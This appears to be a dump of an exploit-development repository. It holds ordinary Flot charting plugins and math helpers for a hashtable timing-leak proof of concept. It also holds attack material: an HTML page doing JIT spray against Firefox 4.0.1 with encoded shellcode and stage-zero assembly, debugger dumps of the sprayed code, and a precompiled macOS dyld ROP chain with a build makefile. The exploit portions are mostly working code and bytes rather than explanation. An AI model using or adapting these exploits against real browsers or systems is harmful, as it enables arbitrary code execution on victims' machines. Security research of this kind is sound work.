21 |             square: function (ctx, x, y, radius, shadow) {
22 |                 // pi * r^2 = (2s)^2  =>  s = r * sqrt(pi)/2
23 |                 var size = radius * Math.sqrt(Math.PI) / 2;
24 |                 ctx.rect(x - size, y - size, size + size, size + size);
25 |             },
26 |             diamond: function (ctx, x, y, radius, shadow) {
27 |                 // pi * r^2 = 2s^2  =>  s = r * sqrt(pi/2)
28 |                 var size = radius * Math.sqrt(Math.PI / 2);
29 |                 ctx.moveTo(x - size, y);
30 |                 ctx.lineTo(x, y - size);
31 |                 ctx.lineTo(x + size, y);
32 |                 ctx.lineTo(x, y + size);
33 |                 ctx.lineTo(x - size, y);
34 |             },
35 |             triangle: function (ctx, x, y, radius, shadow) {
36 |                 // pi * r^2 = 1/2 * s^2 * sin (pi / 3)  =>  s = r * sqrt(2 * pi / sin(pi / 3))
37 |                 var size = radius * Math.sqrt(2 * Math.PI / Math.sin(Math.PI / 3));
38 |                 var height = size * Math.sin(Math.PI / 3);
39 |                 ctx.moveTo(x - size/2, y + height/2);
40 |                 ctx.lineTo(x + size/2, y + height/2);
41 |                 if (!shadow) {
42 |                     ctx.lineTo(x, y - height/2);
43 |                     ctx.lineTo(x - size/2, y + height/2);
44 |                 }
45 |             },
46 |             cross: function (ctx, x, y, radius, shadow) {
47 |                 // pi * r^2 = (2s)^2  =>  s = r * sqrt(pi)/2
48 |                 var size = radius * Math.sqrt(Math.PI) / 2;
49 |                 ctx.moveTo(x - size, y - size);
50 |                 ctx.lineTo(x + size, y + size);
51 |                 ctx.moveTo(x - size, y + size);
52 |                 ctx.lineTo(x + size, y - size);
53 |             }
54 |         }
55 | 
56 |         var s = series.points.symbol;
57 |         if (handlers[s])
58 |             series.points.symbol = handlers[s];
59 |     }
60 |     
61 |     function init(plot) {
62 |         plot.hooks.processDatapoints.push(processRawData);
63 |     }
64 |     
65 |     $.plot.plugins.push({
66 |         init: init,
67 |         name: 'symbols',
68 |         version: '1.0'
69 |     });
70 | })(jQuery);
71 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.symbol.min.js:
--------------------------------------------------------------------------------
1 | (function(b){function a(h,e,g){var d={square:function(k,j,n,i,m){var l=i*Math.sqrt(Math.PI)/2;k.rect(j-l,n-l,l+l,l+l)},diamond:function(k,j,n,i,m){var l=i*Math.sqrt(Math.PI/2);k.moveTo(j-l,n);k.lineTo(j,n-l);k.lineTo(j+l,n);k.lineTo(j,n+l);k.lineTo(j-l,n)},triangle:function(l,k,o,j,n){var m=j*Math.sqrt(2*Math.PI/Math.sin(Math.PI/3));var i=m*Math.sin(Math.PI/3);l.moveTo(k-m/2,o+i/2);l.lineTo(k+m/2,o+i/2);if(!n){l.lineTo(k,o-i/2);l.lineTo(k-m/2,o+i/2)}},cross:function(k,j,n,i,m){var l=i*Math.sqrt(Math.PI)/2;k.moveTo(j-l,n-l);k.lineTo(j+l,n+l);k.moveTo(j-l,n+l);k.lineTo(j+l,n-l)}};var f=e.points.symbol;if(d[f]){e.points.symbol=d[f]}}function c(d){d.hooks.processDatapoints.push(a)}b.plot.plugins.push({init:c,name:"symbols",version:"1.0"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.threshold.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | Flot plugin for thresholding data. Controlled through the option
  3 | "threshold" in either the global series options
  4 | 
  5 |   series: {
  6 |     threshold: {
  7 |       below: number
  8 |       color: colorspec
  9 |     }
 10 |   }
 11 | 
 12 | or in a specific series
 13 | 
 14 |   $.plot($("#placeholder"), [{ data: [ ... ], threshold: { ... }}])
 15 | 
 16 | The data points below "below" are drawn with the specified color. This
 17 | makes it easy to mark points below 0, e.g. for budget data.
 18 | 
 19 | Internally, the plugin works by splitting the data into two series,
 20 | above and below the threshold. The extra series below the threshold
 21 | will have its label cleared and the special "originSeries" attribute
 22 | set to the original series. You may need to check for this in hover
 23 | events.
 24 | */
 25 | 
 26 | (function ($) {
 27 |     var options = {
 28 |         series: { threshold: null } // or { below: number, color: color spec}
 29 |     };
 30 |     
 31 |     function init(plot) {
 32 |         function thresholdData(plot, s, datapoints) {
 33 |             if (!s.threshold)
 34 |                 return;
 35 |             
 36 |             var ps = datapoints.pointsize, i, x, y, p, prevp,
 37 |                 thresholded = $.extend({}, s); // note: shallow copy
 38 | 
 39 |             thresholded.datapoints = { points: [], pointsize: ps };
 40 |             thresholded.label = null;
 41 |             thresholded.color = s.threshold.color;
 42 |             thresholded.threshold = null;
 43 |             thresholded.originSeries = s;
 44 |             thresholded.data = [];
 45 | 
 46 |             var below = s.threshold.below,
 47 |                 origpoints = datapoints.points,
 48 |                 addCrossingPoints = s.lines.show;
 49 | 
 50 |             threspoints = [];
 51 |             newpoints = [];
 52 | 
 53 |             for (i = 0; i < origpoints.length; i += ps) {
 54 |                 x = origpoints[i]
 55 |                 y = origpoints[i + 1];
 56 | 
 57 |                 prevp = p;
 58 |                 if (y < below)
 59 |                     p = threspoints;
 60 |                 else
 61 |                     p = newpoints;
 62 | 
 63 |                 if (addCrossingPoints && prevp != p && x != null
 64 |                     && i > 0 && origpoints[i - ps] != null) {
 65 |                     var interx = (x - origpoints[i - ps]) / (y - origpoints[i - ps + 1]) * (below - y) + x;
 66 |                     prevp.push(interx);
 67 |                     prevp.push(below);
 68 |                     for (m = 2; m < ps; ++m)
 69 |                         prevp.push(origpoints[i + m]);
 70 |                     
 71 |                     p.push(null); // start new segment
 72 |                     p.push(null);
 73 |                     for (m = 2; m < ps; ++m)
 74 |                         p.push(origpoints[i + m]);
 75 |                     p.push(interx);
 76 |                     p.push(below);
 77 |                     for (m = 2; m < ps; ++m)
 78 |                         p.push(origpoints[i + m]);
 79 |                 }
 80 | 
 81 |                 p.push(x);
 82 |                 p.push(y);
 83 |             }
 84 | 
 85 |             datapoints.points = newpoints;
 86 |             thresholded.datapoints.points = threspoints;
 87 |             
 88 |             if (thresholded.datapoints.points.length > 0)
 89 |                 plot.getData().push(thresholded);
 90 |                 
 91 |             // FIXME: there are probably some edge cases left in bars
 92 |         }
 93 |         
 94 |         plot.hooks.processDatapoints.push(thresholdData);
 95 |     }
 96 |     
 97 |     $.plot.plugins.push({
 98 |         init: init,
 99 |         options: options,
100 |         name: 'threshold',
101 |         version: '1.0'
102 |     });
103 | })(jQuery);
104 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.threshold.min.js:
--------------------------------------------------------------------------------
1 | (function(B){var A={series:{threshold:null}};function C(D){function E(L,S,M){if(!S.threshold){return }var F=M.pointsize,I,O,N,G,K,H=B.extend({},S);H.datapoints={points:[],pointsize:F};H.label=null;H.color=S.threshold.color;H.threshold=null;H.originSeries=S;H.data=[];var P=S.threshold.below,Q=M.points,R=S.lines.show;threspoints=[];newpoints=[];for(I=0;I<Q.length;I+=F){O=Q[I];N=Q[I+1];K=G;if(N<P){G=threspoints}else{G=newpoints}if(R&&K!=G&&O!=null&&I>0&&Q[I-F]!=null){var J=(O-Q[I-F])/(N-Q[I-F+1])*(P-N)+O;K.push(J);K.push(P);for(m=2;m<F;++m){K.push(Q[I+m])}G.push(null);G.push(null);for(m=2;m<F;++m){G.push(Q[I+m])}G.push(J);G.push(P);for(m=2;m<F;++m){G.push(Q[I+m])}}G.push(O);G.push(N)}M.points=newpoints;H.datapoints.points=threspoints;if(H.datapoints.points.length>0){L.getData().push(H)}}D.hooks.processDatapoints.push(E)}B.plot.plugins.push({init:C,options:A,name:"threshold",version:"1.0"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/readme.txt:
--------------------------------------------------------------------------------
1 | This is a POC demonstrating how to leak information using timing attacks
2 | on hashtables.
3 | 
4 | See gdtr.wordpress.com for details.
5 | 
6 | p_k
7 | 


--------------------------------------------------------------------------------
/ff-hashleak/style.css:
--------------------------------------------------------------------------------
 1 |         * {
 2 |             font-family: Tahoma, Geneva, sans-serif;
 3 |          }
 4 |         .column0 {
 5 |             float:left;
 6 |             width: 75%;
 7 |         }
 8 |         .column1 {
 9 |             float:left;
10 |             width: 49%;
11 |             border: 1px dotted black;
12 |         }
13 |         .column2 {
14 |             float:left;
15 |             width: 12%;
16 |         }
17 | 
18 |         .row {
19 |             width: 100%;
20 |             border: 1px dotted green;
21 |             text-align:center;
22 |         }
23 |         div {
24 |         }
25 |         h1 {
26 |             margin: 5px;
27 |         }
28 |         h2 {
29 |             text-align:center;
30 |             font-size: 18px;
31 |             width: 100%;
32 |             margin: 5px;
33 |         }
34 |         p {
35 |             margin-left: 3px;
36 |             margin-bottom: 1px;
37 |             margin-top: 1px;
38 |         }
39 | 


--------------------------------------------------------------------------------
/ff-hashleak/uint.js:
--------------------------------------------------------------------------------
 1 |     String.prototype.format = function() {
 2 |       var args = arguments;
 3 |       return this.replace(/{(\d+)}/g, function(match, number) { 
 4 |         return typeof args[number] != 'undefined'
 5 |           ? args[number]
 6 |           : match
 7 |         ;
 8 |       });
 9 |     };
10 |     function add(x, y){
11 |         var x = x>>>0;
12 |         var y = y>>>0;
13 |         return (x+y)>>>0;
14 |     }
15 |     function sub(x, y){
16 |         var x = x>>>0;
17 |         var y = y>>>0;
18 |         return (x-y)>>>0;
19 |     }
20 |     function div(x, y){
21 |         var x = x>>>0;
22 |         var y = y>>>0;
23 |         return (x/y)>>>0;
24 |     }
25 |     function mod(x, n){
26 |         var x = x>>>0;
27 |         var n = n>>>0;
28 |         var x = x%n;
29 |         return x>>>0;
30 |     }
31 |     function shr(x, y){
32 |         if(y>=32){
33 |             return 0>>>0;
34 |         }
35 |         var a = x>>>0;
36 |         var b = y>>>0;
37 |         return (a>>>b)>>>0;
38 |     }
39 |     function shl(x, y){
40 |         if(y>=32){
41 |             return 0>>>0;
42 |         }
43 |         var x = x>>>0;
44 |         var y = y>>>0;
45 |         return (x<<y)>>>0;
46 |     }
47 |     function and(x, y){
48 |         var x = x>>>0;
49 |         var y = y>>>0;
50 |         return (x & y)>>>0;
51 |     }
52 |     function mul(a, b) {
53 |         var ah = (a >> 16) & 0xffff, al = a & 0xffff;
54 |         var bh = (b >> 16) & 0xffff, bl = b & 0xffff;
55 |         var high = ((ah * bl) + (al * bh)) & 0xffff;
56 |         var r = ((high << 16)>>>0) + (al * bl);
57 |         return (r & (0xffffffff>>>0))>>>0;
58 |     }
59 | 
60 |      function xgcd(a,b)
61 |      { 
62 |      if (b == 0)
63 |        {return [1, 0, a]}
64 |      else
65 |        {
66 |         temp = xgcd(b, mod(a,b))
67 |         x = temp[0]
68 |         y = temp[1]
69 |         d = temp[2]
70 |         return [y, sub(x,mul(y, div(a,b))), d]
71 |        }
72 |      }
73 |     
74 |     function inv(x, n){
75 |         var tmp = xgcd(x, n);
76 |         var x = tmp[0];
77 |         x = mod(x, n);
78 |         return x;
79 |     }
80 | 


--------------------------------------------------------------------------------
/ff-hashleak/utils.js:
--------------------------------------------------------------------------------
  1 |     function fst(p) { return p[0]; };
  2 |     function snd(p) { return p[1]; };
  3 | 
  4 |     function sum(tab){
  5 |         var s = _.reduce(tab, function (acc, x) { return acc+x;}, 0);
  6 |         return s;
  7 |     }
  8 |     function avg(tab){
  9 |         var s = sum(tab);
 10 |         return s / _.size(tab);
 11 |     }
 12 |     function variance(tab){
 13 |         var mi = avg(tab);
 14 |         var t = _.map(tab, function (x) { return (x-mi)*(x-mi); });
 15 |         var v = avg(t);
 16 |         return v;
 17 |     }
 18 |     function std(tab){
 19 |         var v = variance(tab);
 20 |         return Math.sqrt(v);
 21 |     }
 22 | 
 23 |     function mgcd(o){
 24 |         if(!o.length)
 25 |             return 1;
 26 |         for(var r, a, i = o.length - 1, b = o[i]; i;)
 27 |             for(a = o[--i]; r = a % b; a = b, b = r);
 28 |         return Math.abs(b);
 29 |     }
 30 | 
 31 |     function ls_fit(xy_pairs) {
 32 |         var sum_x = 0;
 33 |         var sum_y = 0;
 34 |         var sum_xy = 0;
 35 |         var sum_xx = 0;
 36 |         var count = 0;
 37 |         
 38 |         var values_x = _.map(xy_pairs, fst);
 39 |         var values_y = _.map(xy_pairs, snd);
 40 |         /*
 41 |          * We'll use those variables for faster read/write access.
 42 |          */
 43 |         var x = 0;
 44 |         var y = 0;
 45 |         var values_length = values_x.length;
 46 |         if (values_length != values_y.length) {
 47 |             throw new Error('The parameters values_x and values_y need to have same size!');
 48 |         }
 49 |         
 50 |         /*
 51 |          * Nothing to do.
 52 |          */
 53 |         if (values_length === 0) {
 54 |             throw new Error("No fit for empty set");
 55 |         }
 56 |         
 57 |         /*
 58 |          * Calculate the sum for each of the parts necessary.
 59 |          */
 60 |         for (var v = 0; v < values_length; v++) {
 61 |             x = values_x[v];
 62 |             y = values_y[v];
 63 |             sum_x += x;
 64 |             sum_y += y;
 65 |             sum_xx += x*x;
 66 |             sum_xy += x*y;
 67 |             count++;
 68 |         }
 69 |         
 70 |         /*
 71 |          * Calculate m and b for the formular:
 72 |          * y = x * m + b
 73 |          */
 74 |         var m = (count*sum_xy - sum_x*sum_y) / (count*sum_xx - sum_x*sum_x);
 75 |         var b = (sum_y/count) - (m*sum_x)/count;
 76 |         return [m, b];
 77 |     }
 78 |         
 79 |     function text_node(t){
 80 |         var t = document.createTextNode(t);
 81 |         return t;
 82 |     }
 83 |     function wrap(t){
 84 |         var p = document.createElement("P");
 85 |         var t = text_node(t);
 86 |         p.appendChild(t);
 87 |         return p;
 88 |     }
 89 |     function dump_s(node, t){
 90 |         var p = wrap(t);
 91 |         node.insertBefore(p, node.firstChild);
 92 |     }
 93 |     function dump(node, pair){
 94 |         var i = pair[0];
 95 |         var time = pair[1];
 96 |         var t = i.toString(16) + "->" + time;
 97 |         dump_s(node, t);
 98 |     }
 99 | 
100 |     function shuffle(arr) {
101 |         var tmp, current, top = arr.length;
102 | 
103 |         if(top) while(--top) {
104 |             current = Math.floor(Math.random() * (top + 1));
105 |             tmp = arr[current];
106 |             arr[current] = arr[top];
107 |             arr[top] = tmp;
108 |         }
109 | 
110 |         return arr;
111 |     }
112 | 
113 |     function rand(length,current){
114 |      current = current ? current : '';
115 |      return length ? rand( --length , "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz".charAt( Math.floor( Math.random() * 60 ) ) + current ) : current;
116 |     }
117 | 


--------------------------------------------------------------------------------
/jit-ff-4.0.1/_how_to.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pakt/exp-dev/a9e8d4eec8001813a1f3f65b46d907db609fb323/jit-ff-4.0.1/_how_to.jpg


--------------------------------------------------------------------------------
/jit-ff-4.0.1/jit.html:
--------------------------------------------------------------------------------
  1 | <html>
  2 | 
  3 | <script>
  4 | 
  5 |     function hex(x){
  6 |         var y = x.toString(16);
  7 |         y = "0x"+y;
  8 |         return y;
  9 |     }
 10 | 
 11 |     //there are issues with signed ints -_-'
 12 |     function swap32(val) {
 13 |         var x = ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) | ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
 14 |         x = x>>>0;
 15 |         return x;
 16 |     }
 17 | 
 18 |     function make_tab(shellcode){
 19 |         var i;
 20 |         var t = [];
 21 |         for(i=0;i<0x1D;i++){
 22 |             t[i] = hex(i);
 23 |         }
 24 | 
 25 |         var stage0 = [
 26 |             0x005deb15,  //last byte of call $+5
 27 |                          //pop ebp
 28 |                          //jmp
 29 |             0x31d2eb15, //xor edx, edx 
 30 |             0xb219eb15, //mov dl, 19h 
 31 |             0x31dbeb15, //xor ebx, ebx
 32 |             0xb304eb15, //mov bl, 4
 33 |             0x31c9eb15, //xor ecx, ecx
 34 |             0x89efeb15, //mov edi, ebp
 35 |             0x29dfeb15, //sub edi, ebx
 36 |             0x4f90eb15, //dec edi / nop
 37 |             0x31c0eb15, //xor eax, eax
 38 |             0xb016eb15, //xor al, 16h
 39 |             0xf7e2eb15, //mul edx
 40 |             0x01c7eb15, //add edi, eax
 41 |             0xb219eb15, //mov dl, 19h 
 42 |                         //@@:
 43 |             0x890feb15, //mov [edi], ecx
 44 |             0x01d7eb15, //add edi, edx
 45 |             0x00d9eb15, //add cl, bl
 46 |             0x75b3eb15, //jnz @b
 47 | 
 48 |             0x01dfeb15, //add edi, ebx
 49 |             0x01dfeb15, //add edi, ebx
 50 |             0x89e8eb15, //mov eax, ebp
 51 | 
 52 |             0x8978244f, //mov dword [eax+24h], edi / dec edi (not a nop, because of problems with signed ints)
 53 |         ];
 54 |         
 55 |         for(i=0;i<stage0.length;i++){
 56 |             var x = stage0[i];
 57 |             x = swap32(x);
 58 |             x = hex(x);
 59 |             t.push(x);
 60 |         }
 61 | 
 62 |         for(i=0;i<shellcode.length;i++){
 63 |             x = shellcode[i];
 64 |             y = x;
 65 |             t.push(y);
 66 |         }
 67 | 
 68 |         t.push("/test/");
 69 |         var s = t.join();
 70 |         s = "var vals = ["+s+"];";
 71 |         return s;
 72 |     }
 73 | 
 74 |     function make_src(gtab_name, shellcode){
 75 |         var s = make_tab(shellcode);
 76 |         //s = s + "\n" + "for (var i in vals) {document.write(vals[i]); document.write(\" \");}";
 77 |         s = s + "\n" + "for (var i in vals) {var x = vals[i]; }; ";
 78 |         s = "var f = function (){" + s + "}; " + gtab_name + ".push(f);";
 79 |         return s;
 80 |     }
 81 | 
 82 |     var nop = 1.1983035052072696e-314;  //0x00000000 90909090
 83 |     
 84 |     var calc_shellcode = [8.31720345743e-315,1.15374659167e-314,9.82609703945e-315,6.98916626117e-316,7.75388875052e-315,2.43378822098e-315,1.15978667314e-314,1.88495157374e-314,2.692497989e-315,1.03237263363e-314,1.98114633087e-314,4.1943061163e-315,1.68064937984e-314,2.05120473767e-314,1.40735874895e-315,9.7716451506e-315,3.01110803878e-315,1.51741071199e-314,1.02406272763e-314,3.26058800837e-316,3.84682663991e-315,8.6534630538e-315,8.24124818644e-315,2.98552290859e-315,1.69789443341e-314];
 85 | 
 86 |     calc_shellcode.unshift(nop);    //marker 
 87 |     calc_shellcode.push(nop);       //marker
 88 | 
 89 |     document.write(calc_shellcode);
 90 | 
 91 |     var gtab = [];
 92 |     var src = make_src("gtab", calc_shellcode);
 93 |     for(i=0;i<(1<<14);i++){
 94 |         eval(src);
 95 |         var g = gtab[i];
 96 |         var x = g();
 97 |     }
 98 |     alert("ok");
 99 |     //while(1){};
100 | 
101 | </script>
102 | 
103 | </html>
104 | 


--------------------------------------------------------------------------------
/jit-ff-4.0.1/readme.txt:
--------------------------------------------------------------------------------
1 | Unfinished JIT spray for FF 4.0.1, based on Chris Rohlf observations.
2 | 


--------------------------------------------------------------------------------
/jit-ff-4.0.1/shell0.txt:
--------------------------------------------------------------------------------
  1 | 
  2 | jit marker:
  3 | 
  4 | 14760052   89E1                    MOV ECX,ESP
  5 | 14760054   895C24 1C               MOV DWORD PTR SS:[ESP+1C],EBX
  6 | 14760058   C74424 18 70A1ED14      MOV DWORD PTR SS:[ESP+18],14EDA170
  7 | 14760060   E8 0BDC5F51             CALL mozjs.65D5DC70
  8 | 
  9 | 14760052   89E1                    MOV ECX,ESP
 10 | 14760054   895C24 1C               MOV DWORD PTR SS:[ESP+1C],EBX
 11 | 14760058   C74424 18  xxxxxxxx     MOV DWORD PTR SS:[ESP+18], xxxxxxxx
 12 | 14760060   E8  xxxxxxxx            CALL mozjs.65D5DC70 ;rva = FDC70
 13 | 0B950065   89C7                    MOV EDI,EAX
 14 | 
 15 | 89e1895c241cc7442418[0-9a-f]{8}e8[0-9a-f]{8}89c7
 16 | 
 17 | CPU Dump
 18 | Address   Hex dump                   Command                                  Comments
 19 | 1BC1009B    C747 04 0100FFFF         MOV DWORD PTR DS:[EDI+4],FFFF0001
 20 | 1BC100A2    C707 66554433            MOV DWORD PTR DS:[EDI],33445566
 21 | 1BC100A8    89C7                     MOV EDI,EAX
 22 | 1BC100AA    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 23 | 1BC100AD    C747 0C 0100FFFF         MOV DWORD PTR DS:[EDI+0C],FFFF0001
 24 | 1BC100B4    C747 08 66554433         MOV DWORD PTR DS:[EDI+8],33445566
 25 | 1BC100BB    89C7                     MOV EDI,EAX
 26 | 1BC100BD    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 27 | 1BC100C0    C747 14 0100FFFF         MOV DWORD PTR DS:[EDI+14],FFFF0001
 28 | 1BC100C7    C747 10 66554433         MOV DWORD PTR DS:[EDI+10],33445566
 29 | 1BC100CE    89C7                     MOV EDI,EAX
 30 | 1BC100D0    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 31 | 1BC100D3    C747 1C 0100FFFF         MOV DWORD PTR DS:[EDI+1C],FFFF0001
 32 | 1BC100DA    C747 18 66554433         MOV DWORD PTR DS:[EDI+18],33445566
 33 | 1BC100E1    89C7                     MOV EDI,EAX
 34 | 1BC100E3    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 35 | 1BC100E6    C747 24 0100FFFF         MOV DWORD PTR DS:[EDI+24],FFFF0001
 36 | 1BC100ED    C747 20 66554433         MOV DWORD PTR DS:[EDI+20],33445566
 37 | 1BC100F4    89C7                     MOV EDI,EAX
 38 | 1BC100F6    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 39 | 1BC100F9    C747 2C 0100FFFF         MOV DWORD PTR DS:[EDI+2C],FFFF0001
 40 | 1BC10100    C747 28 66554433         MOV DWORD PTR DS:[EDI+28],33445566
 41 | 1BC10107    89C7                     MOV EDI,EAX
 42 | 1BC10109    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 43 | 1BC1010C    C747 34 0100FFFF         MOV DWORD PTR DS:[EDI+34],FFFF0001
 44 | 1BC10113    C747 30 66554433         MOV DWORD PTR DS:[EDI+30],33445566
 45 | 1BC1011A    89C7                     MOV EDI,EAX
 46 | 1BC1011C    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 47 | 1BC1011F    C747 3C 0100FFFF         MOV DWORD PTR DS:[EDI+3C],FFFF0001
 48 | 1BC10126    C747 38 66554433         MOV DWORD PTR DS:[EDI+38],33445566
 49 | 1BC1012D    89C7                     MOV EDI,EAX
 50 | 1BC1012F    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 51 | 1BC10132    C747 44 0100FFFF         MOV DWORD PTR DS:[EDI+44],FFFF0001
 52 | 1BC10139    C747 40 66554433         MOV DWORD PTR DS:[EDI+40],33445566
 53 | 
 54 | 
 55 | 
 56 | CPU Dump
 57 | Address   Hex dump                   Command                                  
 58 | 1BC101C5    89C7                     MOV EDI,EAX
 59 | 1BC101C7    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 60 | 1BC101CA    C787 84000000 0100FFFF   MOV DWORD PTR DS:[EDI+84],FFFF0001
 61 | 1BC101D4    C787 80000000 66554433   MOV DWORD PTR DS:[EDI+80],33445566
 62 | 1BC101DE    89C7                     MOV EDI,EAX
 63 | 1BC101E0    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 64 | 1BC101E3    C787 8C000000 0100FFFF   MOV DWORD PTR DS:[EDI+8C],FFFF0001
 65 | 1BC101ED    C787 88000000 66554433   MOV DWORD PTR DS:[EDI+88],33445566
 66 | 1BC101F7    89C7                     MOV EDI,EAX
 67 | 1BC101F9    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 68 | 1BC101FC    C787 94000000 0100FFFF   MOV DWORD PTR DS:[EDI+94],FFFF0001
 69 | 1BC10206    C787 90000000 66554433   MOV DWORD PTR DS:[EDI+90],33445566
 70 | 1BC10210    89C7                     MOV EDI,EAX
 71 | 1BC10212    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 72 | 1BC10215    C787 9C000000 0100FFFF   MOV DWORD PTR DS:[EDI+9C],FFFF0001
 73 | 1BC1021F    C787 98000000 66554433   MOV DWORD PTR DS:[EDI+98],33445566
 74 | 1BC10229    89C7                     MOV EDI,EAX
 75 | 1BC1022B    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 76 | 1BC1022E    C787 A4000000 0100FFFF   MOV DWORD PTR DS:[EDI+0A4],FFFF0001
 77 | 1BC10238    C787 A0000000 66554433   MOV DWORD PTR DS:[EDI+0A0],33445566
 78 | 1BC10242    89C7                     MOV EDI,EAX
 79 | 1BC10244    8B7F 24                  MOV EDI,DWORD PTR DS:[EDI+24]
 80 | 1BC10247    C787 AC000000 0100FFFF   MOV DWORD PTR DS:[EDI+0AC],FFFF0001
 81 | 1BC10251    C787 A8000000 66554433   MOV DWORD PTR DS:[EDI+0A8],33445566
 82 | 
 83 | 
 84 | ; e8 00 00 00 is a part of one of mov [edi+offset], XXX instructions
 85 | 
 86 |     e8 00 00 00 00  call $+5    ; last 00 is a controlled byte
 87 |     5d              pop ebp
 88 |     eb 15           jmp next_dword
 89 | 
 90 | ; eb 15 jumps from end of one controlled dword to beginning of the next one
 91 |     
 92 | 
 93 |     31 d2           xor edx, edx
 94 |     -- jmp
 95 | 
 96 |     b2 19           mov dl, 19h
 97 |     -- jmp
 98 |     
 99 |     31 db           xor ebx, ebx
100 |     -- jmp
101 |     
102 |     b3 04           mov bl, 4
103 |     -- jmp
104 |     
105 |     31 c9           xor ecx, ecx
106 |     -- jmp
107 | 
108 |     89 ef           mov edi, ebp
109 |     -- jmp
110 | 
111 |     29 df           sub edi, ebx
112 |     -- jmp
113 | 
114 |     4f              dec edi
115 |     90              nop
116 |     -- jmp
117 |     
118 |     31 c0           xor eax, eax
119 |     -- jmp
120 | 
121 |     b0 15           mov al, 16h     ;stage0 "size" in chunks
122 |     -- jmp
123 | 
124 |     f2 e7           mul edx
125 |     -- jmp
126 | 
127 |     01 c7           add edi, eax
128 |     -- jmp
129 | 
130 |     b2 19           mov dl, 19h     ;mul cleared edx
131 |     -- jmp
132 | 
133 | ; patch offsets in mov [edi+offset], XXX instructions
134 | 
135 | @@:
136 |     89 0f           mov [edi], ecx
137 |     -- jmp
138 |     
139 |     01 d7           add edi, edx
140 |     -- jmp
141 |     
142 |     00 d9           add cl, bl
143 |     75 b3           jnz @b
144 | 
145 | ; adjust edi, so that when copying is done,
146 | ; execution is passed directly to the shellcode (without using jumps)
147 |     
148 |     01 df           add edi, ebx
149 |     -- jmp
150 | 
151 |     01 df           add edi, ebx ; edi = edi+8
152 |     -- jmp
153 |     
154 |     89 e8           mov eax, ebp
155 |     -- jmp
156 | 
157 |     89 78 24        mov dword ptr [eax+24], edi
158 |     90              nop
159 | 
160 | 
161 | 89c7                         mov edi,eax
162 | 8b7f 24                      mov edi,dword ptr ds:[edi+24]
163 | c787 84000000 0100ffff       mov dword ptr ds:[edi+84],ffff0001
164 | c787 80000000 66554433       mov dword ptr ds:[edi+80],33445566
165 | 
166 | 
167 | 


--------------------------------------------------------------------------------
/osx.dyld.rop/README:
--------------------------------------------------------------------------------
1 | See sc.asm for explanation
2 | 


--------------------------------------------------------------------------------
/osx.dyld.rop/makefile:
--------------------------------------------------------------------------------
1 | all: sc.asm x64_shellcode.asm
2 | 	nasm x64_shellcode.asm
3 | 	nasm -fmacho64 sc.asm
4 | 	gcc sc.o -o sc
5 | 
6 | clean:
7 | 	rm *.o sc x64_shellcode
8 | 


--------------------------------------------------------------------------------
/osx.dyld.rop/precompiled.txt:
--------------------------------------------------------------------------------
 1 | \xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x08\x00\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00
 2 | \x00\x00\x00\x00\x00\x00\x00\x00\xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00
 3 | \x10\x00\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00
 4 | \xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x20\x00\xc5\x5f\xff\x7f\x00\x00
 5 | \x73\x33\xc2\x5f\xff\x7f\x00\x00\x00\x10\xc5\x5f\xff\x7f\x00\x00\xe1\x4c\xc2\x5f\xff\x7f\x00\x00
 6 | \xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x28\x00\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00
 7 | \x00\x21\xc5\x5f\xff\x7f\x00\x00\xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00
 8 | \x30\x00\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00\x00\x20\xc5\x5f\xff\x7f\x00\x00
 9 | \xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x38\x00\xc5\x5f\xff\x7f\x00\x00
10 | \x73\x33\xc2\x5f\xff\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\xe1\x4c\xc2\x5f\xff\x7f\x00\x00
11 | \xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x58\x00\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00
12 | \x00\xf0\xc4\x5f\xff\x7f\x00\x00\xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00
13 | \x00\x20\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00\x56\xd3\xc0\x5f\xff\x7f\x00\x00
14 | \xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\xc0\x20\xc5\x5f\xff\x7f\x00\x00
